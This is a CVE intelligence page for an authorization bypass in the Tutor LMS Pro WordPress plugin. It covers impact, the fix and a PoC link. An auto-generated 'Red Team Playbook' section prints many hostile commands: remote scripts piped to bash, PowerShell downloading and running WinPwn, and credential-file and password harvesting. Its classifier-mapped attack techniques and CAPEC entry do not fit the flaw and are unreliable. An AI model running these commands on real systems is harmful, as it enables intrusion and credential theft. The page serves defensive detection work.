CVE-2024-4351
Overview
This vulnerability is an authorization bypass caused by a missing capability check within the 'authenticate' function of the Tutor LMS Pro WordPress plugin. The flaw exists in the access control logic that fails to verify user permissions properly. It affects all versions up to and including 2.7.0 of the Tutor LMS Pro plugin, specifically impacting the authentication and user management components.
Vulnerability Description
The Tutor LMS Pro plugin for WordPress is vulnerable to unauthorized access of data, modification of data, loss of data due to a missing capability check on the 'authenticate' function in all versions up to, and including, 2.7.0. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to gain control of an existing administrator account.
Impact
An authenticated attacker with subscriber-level or higher permissions can exploit this vulnerability to take over administrator accounts, effectively gaining full administrative control over the WordPress site. This enables unauthorized data access, modification, and deletion within the affected plugin and potentially the entire WordPress installation. The attack requires valid login credentials at a low privilege level and network access to the WordPress site. According to the CVSS vector (AV:N/AC:L/PR:L/UI:N), the exploit is remotely executable with low attack complexity and no user interaction.
Solution
Users of Tutor LMS Pro should upgrade to version 2.7.1 or later, where the missing capability check in the 'authenticate' function has been addressed. Detailed patch instructions and updates are available from Themeum’s official advisory at https://www.themeum.com/product/tutor-lms/ and the Wordfence vulnerability report. Applying the vendor-provided update is the recommended remediation to restore proper authorization enforcement.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Tutor LMS Pro plugin for WordPress arises from a missing capability check within the 'authenticate' function, which allows unauthorized access to sensitive data and the potential for data modification or loss. This oversight affects all versions up to and including 2.7.0, enabling authenticated users with subscriber-level permissions or higher to exploit the flaw. By bypassing the intended access controls, attackers can gain control over existing administrator accounts, which can lead to further exploitation of the WordPress site, including the installation of malicious plugins, data theft, or complete site takeover.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. An authenticated user, even with minimal permissions, can leverage this flaw to escalate their privileges. For instance, a malicious actor could create a subscriber account and then use the vulnerability to authenticate as an administrator. Once in control of an administrator account, the attacker can manipulate site settings, access sensitive user data, and potentially install backdoors for future access. This scenario highlights the critical need for robust access controls and the importance of regular security audits to identify such weaknesses.
The real-world impact of this vulnerability is significant, particularly for organizations relying on the Tutor LMS Pro plugin for educational purposes. If an attacker successfully gains administrative access, they can compromise not only the integrity of the site but also the personal data of users, including students and educators. This breach can lead to reputational damage, loss of trust from users, and potential legal ramifications due to data protection regulations. The business risk is amplified by the potential for financial loss, as organizations may incur costs related to incident response, recovery, and remediation efforts.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regularly updating the Tutor LMS Pro plugin to the latest version is crucial, as developers typically release patches to address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and provide an additional layer of security. Organizations should also conduct routine security assessments, including penetration testing and code reviews, to identify and remediate vulnerabilities before they can be exploited. Furthermore, implementing the principle of least privilege can minimize the risk by ensuring that users only have the permissions necessary for their roles.
In conclusion, the vulnerability in the Tutor LMS Pro plugin presents a serious threat to WordPress sites, particularly those that handle sensitive educational data. The combination of unauthorized access and potential privilege escalation underscores the importance of robust security practices. Organizations must remain vigilant, employing proactive measures to detect and mitigate vulnerabilities, ensuring the security and integrity of their digital environments. By prioritizing security and regularly updating their systems, organizations can significantly reduce the risk associated with such vulnerabilities and protect their assets from malicious actors.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Themeum | Tutor Lms | All |
cpe:2.3:a:themeum:tutor_lms:*:*:*:*:pro:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
ZSECURE/CVE-2024-4351
|
ZSECURE | 0 | 0 | 2024-11-17 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-4351 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/59859583-49e5-4a80-8659-b9ca7ddc089d?source=cve |
| themeum.com |
GitHub CVE
|
https://www.themeum.com/product/tutor-lms/ |